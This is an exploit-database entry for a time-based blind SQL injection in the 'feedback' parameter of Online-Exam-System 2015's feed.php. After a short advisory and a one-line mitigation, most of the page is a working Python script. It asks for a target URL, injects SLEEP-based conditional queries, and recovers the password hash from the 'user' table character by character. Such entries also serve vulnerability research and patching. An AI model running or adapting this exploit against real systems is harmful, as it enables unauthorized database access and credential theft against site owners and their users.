header-logo
Suggest Exploit
vendor:
Online-Exam-System
by:
Gus Ralph
8.8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Online-Exam-System
Affected Version From: 2015
Affected Version To: 2015
Patch Exists: NO
Related CWE: N/A
CPE: a:sunnygkp10:online-exam-system
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu
2020

Online-Exam-System 2015 – ‘feedback’ SQL Injection

An SQL injection vulnerability was discovered in Online-Exam-System 2015. An attacker can send a specially crafted payload to the 'feedback' parameter of the 'feed.php' page, which can be used to extract the password from the 'user' table in the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.
Source

Exploit-DB raw data:

# Exploit Title: Online-Exam-System 2015 - 'feedback' SQL Injection
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://github.com/sunnygkp10/
# Software Link: https://github.com/sunnygkp10/Online-Exam-System-.git
# Affected Version: 2015
# Tested on: Ubuntu
# CVE : N/A

import requests, string, time
from sys import stdout

URL = raw_input("Please enter the URL to attack (example http://localhost/Online-Exam-System/)\n")

payload = "feedback' , '2020-06-04', '01:58:10am'),('1337','test','test@test.com','test',(SELECT CASE WHEN (SELECT EXISTS(SELECT password FROM user WHERE password REGEXP BINARY '^"
payload2 = ".*'))=1 THEN sleep(5) ELSE sleep(0) END),'2020-06-04', '01:58:10am'); -- -"
so_far = hash = ""
while True:
	for i in string.digits + string.ascii_lowercase:
		so_far = hash + i
		payload_to_send = payload + str(so_far) + payload2
		data = {"name":"test","email":"test@test.com","subject":"test","feedback":payload_to_send}
		start = time.time()
		r = requests.post(URL + "feed.php", data = data)
		request_time = time.time() - start
		if request_time > 5:
			hash += i
			stdout.write(i)
			stdout.flush()
			break
	if len(hash) > 31:
		stdout.write("\n")
		print "Hash found: " + hash
		break